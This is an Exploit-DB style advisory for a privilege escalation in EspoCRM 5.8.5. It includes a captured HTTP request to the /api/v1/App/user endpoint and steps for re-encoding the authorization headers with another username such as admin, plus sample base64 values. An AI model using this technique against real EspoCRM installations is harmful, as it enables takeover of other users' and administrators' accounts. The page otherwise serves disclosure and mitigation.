EspoCRM 5.8.5 - Privilege Escalation

vendor:

EspoCRM

by:

Besim ALTINOK

8.8

CVSS

HIGH

Privilege Escalation

264

CWE

Product Name: EspoCRM

Affected Version From: 5.8.5

Affected Version To: 5.8.5

Patch Exists: NO

Related CWE: N/A

CPE: a:espocrm:espocrm:5.8.5

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Xampp

2020

EspoCRM 5.8.5 – Privilege Escalation

When a request is sent to the /api/v1/App/user endpoint, user details can be accessed. By decoding the Basic Authorization and Espo-Authorization and changing the value with another username (like admin), other user information and access can be obtained.

Mitigation:

Ensure that authorization credentials are properly validated and that access is restricted to authorized users only.

Source

Exploit-DB raw data:

# Exploit Title: EspoCRM 5.8.5 - Privilege Escalation
# Author: Besim ALTINOK
# Vendor Homepage: https://www.espocrm.com
# Software Link: https://www.espocrm.com/downloads/EspoCRM-5.8.5.zip
# Version: v5.8.5
# Tested on: Xampp
# Credit: İsmail BOZKURT

-------------

Details:
--------------------------------------------

1- When we sent a request to the /api/v1/App/user, we can see user details
---
First Request:
---------------------------
GET /api/v1/App/user HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 *************************
Authorization: Basic *************************************
Espo-Authorization: *************************************
Espo-Authorization-By-Token: true
X-Requested-With: XMLHttpRequest
DNT: 1
Connection: close
Cookie: auth-token-secret=cdc7f7*********************377;
auth-username=user1; auth-token=3a874a********************************48
----

2- When we decode Basic Authorization and Espo-Authorization and change the
value with another username (like admin)  in the first request, we can see
other user information and access like BOSS
----------

3- Some Examples and encode technique

- BASE64:
First type: dXNlcjE6MQ== (user1:1)
Second type: user1:MzNmYzYwZDQ1ZDI2YWNhODYxZTZlYjdiMDgwMjk4TkRn (user1:pass)